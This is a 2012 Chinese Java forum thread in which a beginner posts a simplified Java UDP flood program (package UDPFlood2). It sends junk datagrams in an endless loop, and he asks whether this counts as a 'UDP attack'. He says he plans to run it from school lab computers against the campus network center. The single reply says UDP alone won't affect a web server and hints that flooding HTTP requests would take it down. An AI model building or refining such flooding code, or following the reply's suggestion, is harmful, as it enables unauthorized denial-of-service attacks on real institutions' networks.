刚学JAVA网络编程,求教大神人物,怎么进行UDP攻击,是不是使用JAVA的DatagramPacket和DatagramSocket发送数据包

qiumoon1 2012-11-15 04:38:25
DatagramPacket是用于打包数据的类,DatagramSocket的send()方法用于发送数据包,高手们都懂的,我只是刚刚学习JAVA网络编程
假设我用多台电脑安装了我写的JAVA攻击程序(我用JAVA写了一个带GUI的软件,提供100KB/S-100MB/S的发包速度),攻击一台已经打开了8080端口的Web服务器,是不是这样就算是“UDP攻击”了?
我在虚拟机里面搭建了一个Web服务器,用netstat -a命令查看,8080端口确实已经是打开的,但是我以300MB/S的速度向虚拟机的服务器发包,似乎没有觉察到网络堵塞的现象(打开网页很流畅,看电影流畅)。我初学网络编程,不知道我的思路是不是正确的,还请教高人指教,如果是的话,我可以用学校实验室的电脑向学校的网络中心发包。

这是一段简化了的代码

package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;

public class UDPClient2 extends Thread
{
static DatagramSocket DSocket;
static DatagramPacket DPacket;
public UDPClient2()
{
new Thread(this).start();
}
public void run()
{
try
{
DSocket = new DatagramSocket();
Socket socket = new Socket("localhost", 8080);
String str = "11111111111111111111111";// 垃圾信息
byte[] arr = new byte[500000];
arr = str.getBytes();
DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
while(true)
{
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
}
} catch (Exception e)
{
e.printStackTrace();
}
}
protected void finalize() throws Throwable
{
DSocket.close();
System.exit(0);
}
public static void main(String[] args)
{
new UDPClient2();
}
}
...全文
139 1 打赏 收藏 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
gloomyfish 2012-11-15
  • 打赏
  • 举报
回复
你发包人家接受没有啊,web服务器基于HTTP请求 如果你可以一直发HTTP请求,发N多,发N个 我相信它会挂 发个UDP数据包就让对方挂,凭什么啊!人家不理你的! 建议先学习网络协议的基础知识,不要好高骛远!

62,620

社区成员

发帖
与我相关
我的任务
社区描述
Java 2 Standard Edition
社区管理员
  • Java SE
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧